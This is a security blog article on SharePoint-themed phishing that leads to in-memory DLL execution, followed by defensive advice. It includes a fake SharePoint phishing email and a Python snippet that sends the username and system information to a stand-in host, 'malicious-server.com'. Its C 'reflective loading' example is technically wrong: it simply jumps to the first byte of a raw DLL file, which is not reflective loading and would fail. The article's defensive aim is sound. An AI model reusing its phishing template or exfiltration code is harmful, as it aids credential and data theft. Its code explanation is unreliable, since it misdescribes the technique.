Contact

SharePoint Phishing Attacks: How Hackers Deploy Reflective DLL Injection for Data Theft

With the increasing adoption of cloud-based collaboration platforms like Microsoft SharePoint, cybercriminals are leveraging sophisticated phishing techniques to exploit unsuspecting users. One of the latest attack vectors involves sending fake SharePoint notifications via email, leading to the download of a malicious ZIP file containing a payload that executes using Reflective DLL Injection. This technique enables attackers to load malicious code into memory without writing to disk, making detection difficult. In this article, we will explore this attack method, analyze real-world examples, and provide defensive measures to mitigate such threats.

Anatomy of the Attack

The attack follows a structured approach, utilizing social engineering, file obfuscation, and stealthy execution methods.

Step 1: Phishing Email with Fake SharePoint Notification

The attacker sends an email impersonating Microsoft SharePoint. The email typically contains urgent language, enticing the recipient to download a shared document. A fake SharePoint link redirects the user to a malicious website or directly prompts the download of a ZIP archive.

Example of a phishing email:

From: [email protected]
Subject: Urgent Document Share Notification

Dear [User],

You have received a new document via SharePoint. Please review it at your earliest convenience.

[Open Document]

Best,
Microsoft SharePoint Team

Step 2: ZIP Archive Containing a Malicious DLL

Upon downloading and extracting the ZIP file, the user finds an executable (disguised as a PDF or Word document) or a DLL file. If executed, the file loads the malicious payload into memory.

Step 3: Reflective DLL Injection

Once the victim runs the file, the attack proceeds using Reflective DLL Injection. This technique involves loading a DLL into a process without using Windows API calls that typically write to disk, evading endpoint security solutions.

Example of Reflective DLL Injection Code:

#include <windows.h>
#include <stdio.h>
#include "ReflectiveLoader.h" // Custom loader header

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        MessageBox(NULL, "Injected Successfully!", "DLL Injection", MB_OK);
    }
    return TRUE;
}

Reflective Loading Execution Example:

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hFile = CreateFile("malicious.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return 1;
    
    DWORD dwSize = GetFileSize(hFile, NULL);
    LPVOID pBuffer = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    ReadFile(hFile, pBuffer, dwSize, NULL, NULL);
    CloseHandle(hFile);
    
    ((void(*)())pBuffer)(); // Execute DLL in memory
    
    return 0;
}

Step 4: Data Theft and Communication with C2 Server

Once executed, the malware collects sensitive user data, including browser credentials, system information, and keystrokes. It then transmits the stolen data to a remote Command & Control (C2) server.

Example of C2 Communication Code:

import requests
import os

data = {
    "username": os.getenv("USERNAME"),
    "system_info": os.popen("systeminfo").read()
}

requests.post("http://malicious-server.com/upload", data=data)

Defense Strategies

To mitigate these types of attacks, organizations and individuals should adopt the following security measures:

1. Email Security and Awareness Training

  • Verify Sender Information: Train employees to inspect email sender addresses for anomalies.
  • Do Not Click Suspicious Links: Hover over links before clicking and verify their legitimacy.
  • Enable Email Filtering: Use security solutions like Microsoft Defender for Office 365, Proofpoint, or Mimecast to filter phishing emails.

2. Restrict Execution of Untrusted Files

  • Group Policy Restrictions: Implement policies to block execution of files from the Downloads folder.
  • AppLocker or Windows Defender Application Control (WDAC): Restrict unauthorized DLL execution.

3. Endpoint Detection and Response (EDR)

Deploy EDR solutions like CrowdStrike Falcon, SentinelOne, or Microsoft Defender for Endpoint to detect in-memory threats like Reflective DLL Injection.

4. Behavioral Analysis for Network Anomalies

Monitor outgoing network traffic for:

  • Unexpected connections to external IPs.
  • Large data transfers to unknown domains.
  • Usage of unusual ports for exfiltration.

5. PowerShell and Execution Policy Restrictions

Restrict PowerShell execution using:

Set-ExecutionPolicy Restricted -Force

Use Constrained Language Mode to prevent PowerShell-based attacks:

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
Conclusion

The rise of SharePoint-themed phishing attacks leveraging Reflective DLL Injection highlights the increasing sophistication of cyber threats. Organizations must implement multi-layered defenses, including email security measures, endpoint protection, and behavioral analytics, to mitigate such attacks effectively. By staying vigilant and employing proactive security measures, users can significantly reduce the risk of falling victim to these stealthy attack techniques.

🔹 Key Takeaways: ✔️ Do not trust unexpected SharePoint emails. ✔️ Avoid opening unknown ZIP attachments. ✔️ Implement strict execution policies. ✔️ Deploy EDR to monitor in-memory attacks. ✔️ Educate employees on phishing tactics.

🚨 If you suspect an attack, report it immediately to your IT security team! 🚨

Related Posts